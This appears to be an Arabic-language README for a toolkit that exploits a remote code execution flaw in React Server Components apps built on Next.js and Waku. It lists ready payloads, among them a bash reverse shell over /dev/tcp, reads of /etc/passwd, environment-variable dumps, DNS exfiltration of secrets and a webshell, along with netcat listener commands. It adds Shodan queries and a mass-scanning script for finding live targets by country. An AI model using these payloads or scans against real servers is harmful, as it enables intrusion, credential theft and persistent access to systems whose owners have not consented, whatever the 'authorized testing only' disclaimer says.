
مجموعة أدوات متقدمة لاستغلال ثغرات RCE لمكونات خادم React. تتضمن حمولات جاهزة متعددة، وتكامل مع Shodan لاكتشاف الأهداف، ومسح ضخم لاختبار الاختراق المصرح به.
مجموعة أدوات متقدمة لاستغلال ثغرات تنفيذ الأكواد عن بُعد (RCE) في مكونات خادم React
لاختبار الاختراق المصرح به والبحث الأمني فقط
الميزات • التثبيت • الاستخدام • التكامل مع Shodan • أمثلة • إخلاء المسؤولية
تستغل هذه المجموعة ثغرة تنفيذ الأكواد عن بُعد (RCE) حرجة في تطبيقات مكونات خادم React (RSC)، وتستهدف تحديدًا:
تعتمد الثغرة على تلوث النماذج الأولية (Prototype Pollution) وإلغاء التسلسل غير الآمن في آلية معالجة البيانات لـ RSC لتحقيق تنفيذ تعليمات برمجية عشوائية على الخادم.
تستخدم مكونات خادم React تنسيق تسلسل مخصص لنقل البيانات بين العميل والخادم. توجد الثغرة في كيفية إلغاء تسلسل هذه الأطر ومعالجة الحمولات المعدة خصيصًا.
سلسلة الهجوم:
$X:constructor:constructor للوصول إلى منشئ الدالة (Function constructor)_prefixالمهاجم → حمولة RSC خبيثة → الخادم المستهدف
↓
إلغاء التسلسل غير الآمن
↓
الوصول إلى سلسلة النموذج الأولي
↓
منشئ الدالة
↓
⚠️ تحقق RCE ⚠️
| الحمولة | الوصف | حالة الاستخدام |
|---|---|---|
console | إثبات مفهوم أساسي (console.log) | التحقق من الثغرة |
reverseShell | صدفة عكسية Bash | الوصول الأولي |
readFile | قراءة /etc/passwd | الوصول إلى نظام الملفات |
envDump | تفريغ متغيرات البيئة | استخراج بيانات الاعتماد |
execCommand | تنفيذ أوامر النظام | تنفيذ أوامر عشوائية |
webshell | نشر صدفة ويب Express | وصول دائم |
exfilPackage | تسريب package.json | تحليل التبعيات |
dnsExfil | تسريب DNS (خارج النطاق) | الاستغلال الأعمى |
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# أو
yarn install
# تثبيت Shodan CLI
pip install shodan
# التهيئة باستخدام مفتاح API الخاص بك
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# بدء المستمع
nc -lvnp 4444
# تنفيذ الاستغلال
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
| الخيار | الوصف | مطلوب |
|---|---|---|
--target <url> | URL الهدف | ✅ |
--framework <name> | الإطار: next أو waku | ❌ (الافتراضي: next) |
--payload <name> | اسم الحمولة (انظر أدناه) | ✅* |
--custom <code> | كود JavaScript مخصص | ✅* |
--lhost <ip> | IP الخاص بك (للصدفة العكسية) | ❌ |
--lport <port> | المنفذ الخاص بك (للصدفة العكسية) | ❌ |
--command <cmd> | الأمر المراد تنفيذه | ❌ |
--endpoint <path> | نقطة نهاية RSC مخصصة (Waku) | ❌ |
--action-id <id> | معرف next-action مخصص | ❌ |
--list | قائمة الحمولات المتاحة | ❌ |
--verbose | إخراج مفصّل | ❌ |
--help | عرض المساعدة | ❌ |
*مطلوب إما --payload أو --custom
عرض جميع الحمولات:
node rsc-rce-exploit.js --list
الإخراج:
📋 الحمولات المتاحة:
console - إثبات مفهوم أساسي - إخراج وحدة التحكم
الكود: console.log(7*7+1)
reverseShell - صدفة عكسية (bash)
الكود: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - قراءة /etc/passwd
الكود: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - تفريغ متغيرات البيئة
الكود: console.log(JSON.stringify(process.env,null,2))
execCommand - تنفيذ أمر نظام
الكود: console.log(require('child_process').execSync('COMMAND').toString())
webshell - كتابة صدفة ويب إلى /tmp
الكود: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - قراءة package.json
الكود: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - تسريب DNS
الكود: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
تنفيذ أي كود JavaScript:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Next.js أساسي
http.component:"Next.js"
# Next.js مع RSC
http.html:"__next" http.html:"RSC"
# وضع التطوير Next.js (أكثر عرضة)
http.html:"__NEXT_DATA__" http.html:"development"
# Next.js مستضاف ذاتيًا (ليس على Vercel)
http.component:"Next.js" -org:"Vercel"
# مستهدف جغرافيًا (فرنسا)
http.component:"Next.js" country:FR
# المزيج النهائي لاختبار الاختراق
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# إطار Waku
http.html:"waku" http.html:"RSC"
# نقاط نهاية Waku RSC
http.path:"/RSC/"
استخدم سكريبت الأتمتة المرفق:
# مسح واختبار تلقائيًا
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
# مع حمولة مخصصة
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
# 1. البحث في Shodan
shodan search 'http.component:"Next.js" country:FR' \
--fields ip_str,port,org,hostnames \
--limit 100 > targets.txt